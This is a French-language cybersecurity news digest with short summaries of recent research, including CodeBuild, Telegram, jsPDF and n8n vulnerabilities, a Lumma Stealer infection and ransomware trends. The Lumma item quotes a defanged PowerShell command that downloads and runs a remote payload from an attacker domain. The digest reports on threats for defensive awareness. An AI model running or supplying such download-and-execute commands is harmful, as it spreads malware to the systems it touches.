Monde

Selon The Register, des chercheurs de Wiz ont dévoilé “CodeBreach”, une vulnérabilité de chaîne d’approvisionnement dans AWS CodeBuild due à des regex non ancrées dans les filtres de webhooks (ACTOR_ID), permettant de contourner les protections sur les pull requests non fiables. AWS a corrigé en septembre après divulgation en août et déclare qu’aucun environnement client ou service AWS n’a été impacté. Nature du problème: regex ACTOR_ID non ancrées (manque des caractères ^ et $) dans des projets CodeBuild publics connectés à GitHub. Cela autorisait des bypass de l’allowlist des mainteneurs si l’ID GitHub de l’attaquant contenait (superstring) l’ID autorisé. Wiz qualifie l’ensemble de “CodeBreach” et estime que l’impact potentiel aurait pu être “plus grave que SolarWinds”, touchant jusqu’au SDK JavaScript AWS utilisé par 66 % des environnements cloud, y compris la Console AWS. ...

Source : Eaton, 14 janvier 2026 — Dans un billet de recherche, Eaton détaille la découverte et la divulgation de vulnérabilités critiques dans BLUVOYIX, la plateforme SaaS de logistique maritime de Bluspark Global, utilisée par environ 500 entreprises. Ces failles permettaient une prise de contrôle complète de la plateforme, l’accès à toutes les données et expéditions (certaines depuis 2007) et même l’annulation de shipments. Les problèmes étaient corrigés à la date de publication. 🚢 ...

BleepingComputer rapporte qu’une démonstration de chercheurs révèle qu’un simple clic sur un lien proxy Telegram (t.me/proxy) déguisé peut exposer l’adresse IP réelle d’un utilisateur, en raison d’un test de connexion automatique effectué par les clients Android et iOS. Le comportement en cause: l’ouverture d’un lien proxy Telegram (t.me/proxy?server=…&port=…&secret=…) déclenche sur mobile un test de connexion automatique vers le serveur indiqué, avant même l’ajout du proxy et sans confirmation supplémentaire. Cette requête part directement depuis l’appareil et peut contourner les proxys déjà configurés, permettant à l’opérateur du proxy de journaliser l’IP réelle de l’utilisateur. ...

Source: billet signé par Brad Duncan (publié le 14 janvier 2026). Contexte: l’auteur documente en laboratoire un exemple d’infection Lumma Stealer présentant un comportement post-infection inhabituel qui génère une hausse continue de trafic vers un même domaine C2. Après l’exfiltration des données par Lumma Stealer, l’hôte Windows infecté récupère des instructions depuis un lien Pastebin (hxxps[:]//pastebin[.]com/raw/xRmmdinT) utilisées pour une infection de suivi. Le contenu Pastebin renvoie une commande PowerShell: irm hxxps[:]//fileless-market[.]cc/Notes.pdf | iex, entraînant des requêtes HTTPS répétées vers hxxps[:]//fileless-market[.]cc/. ...

Source: COSIC (KU Leuven), 16 janvier 2026. Des chercheurs du groupe COSIC de la KU Leuven présentent “WhisperPair”, une famille d’attaques exploitant une mauvaise implémentation de Google Fast Pair sur de nombreux accessoires audio Bluetooth. Classée critique par Google sous CVE-2025-36911, la faille permet à un attaquant d’hijacker des écouteurs/casques et, dans certains cas, d’en suivre la localisation via le réseau Google Find Hub. Les correctifs dépendent des fabricants d’accessoires et nécessitent une mise à jour du firmware. 🎧🔒 ...

Source: Endor Labs — Analyse technique d’une campagne de supply chain visant l’écosystème des « community nodes » n8n; mise à jour au 2026-01-13 indiquant que la campagne est toujours active. ⚠️ Des attaquants ont publié sur npm des paquets n8n déguisés en intégrations « Google Ads » pour collecter des identifiants OAuth/API via un formulaire de configuration légitime, puis exfiltrer ces secrets lors de l’exécution des workflows vers un serveur sous contrôle adversaire. Cette offensive va au-delà des récentes failles RCE n8n et exploite la confiance accordée aux nœuds communautaires non audités. ...

Selon le blog de SEKOIA, cet article explore Landlock en tant que mécanisme de sécurité et comme source de données utiles à l’ingénierie de détection. Landlock (Linux) comme télémétrie pour la détection Contexte L’équipe Sekoia TDR (Threat Detection & Research) s’intéresse à Landlock, un Linux Security Module (LSM) introduit dans le noyau Linux 5.13. Landlock permet de créer des sandbox applicatives (contrôles d’accès “par processus”), applicables à des processus privilégiés ou non, en complément des mécanismes d’accès systèmes existants (défense en profondeur). ...

Selon IT-Connect (08/01/2026), une vulnérabilité critique CVE-2025-68428 affecte jsPDF côté serveur (Node.js), pouvant entraîner une fuite de données via l’inclusion de fichiers locaux dans les PDF générés, avec un correctif publié en version 4.0.0 le 03/01/2026. Produits et surface affectés : seules les versions Node.js de jsPDF sont touchées, via les fichiers dist/jspdf.node.js et dist/jspdf.node.min.js. Les méthodes concernées sont loadFile, addImage, html et addFont. Nature de la vulnérabilité et impact : le NIST indique que si des chemins non sécurisés sont transmis (ex. premier argument contrôlé par un attaquant) à ces méthodes, il est possible de récupérer le contenu de fichiers arbitraires du système où s’exécute le processus Node, et que ce contenu est inclus tel quel dans les PDF générés. Cela peut mener à une fuite d’informations depuis le serveur 📄➡️🔓. ...

Source : Cyera Research Labs (blog de recherche, 7 janvier 2026). L’article détaille une faille critique dans n8n entraînant une exécution de code à distance non authentifiée et explique la chaîne d’exploitation, l’impact et la correction disponible. 🚨 Problème et impact Vulnérabilité : CVE-2026-21858 (score CVSS 10.0) dans n8n. Type : exécution de code à distance (RCE) non authentifiée via confusion du Content-Type. Impact : prise de contrôle de serveurs n8n localement déployés, estimée à ~100 000 instances affectées. Correctif : mettre à jour en 1.121.0 ou ultérieur; aucun contournement officiel disponible. 🧩 Détails techniques (résumé fidèle) ...

Selon Emsisoft News (Luke Connolly, 7 janvier 2026), l’analyse des données 2025 issues de RansomLook.io et Ransomware.live met en lumière une hausse marquée des victimes de ransomware, la fragmentation de l’écosystème criminel et l’efficacité accrue de l’ingénierie sociale. 📈 Tendances chiffrées. Les victimes « revendiquées » par les groupes passent d’environ 5 400 en 2023 à 8 000+ en 2025 (selon les deux sources). La croissance 2025 sur 2024 atteint +46% (RansomLook) et +33% (Ransomware.live). Le nombre de groupes actifs progresse en parallèle (jusqu’à 126–141 en 2025), avec une moyenne de victimes par groupe restant globalement stable (~60–65 depuis 2023/2024), suggérant que la fragmentation maintient la cadence d’attaques. ...